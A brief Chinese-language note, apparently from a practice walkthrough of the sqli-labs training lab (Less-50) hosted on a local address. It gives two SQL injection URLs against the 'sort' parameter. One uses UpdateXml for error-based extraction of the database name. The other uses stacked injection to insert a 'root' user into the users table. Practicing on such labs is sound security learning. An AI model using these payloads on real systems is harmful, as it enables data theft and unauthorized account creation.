报错没有关闭,直接可以用UpdateXml函数
http://192.168.136.128/sqli-labs-master/Less-50/?sort=1 and UpdateXml(1,concat(0x7e,database(),0x7e),1)
用堆叠注入
http://192.168.136.128/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) value (15,'root','root')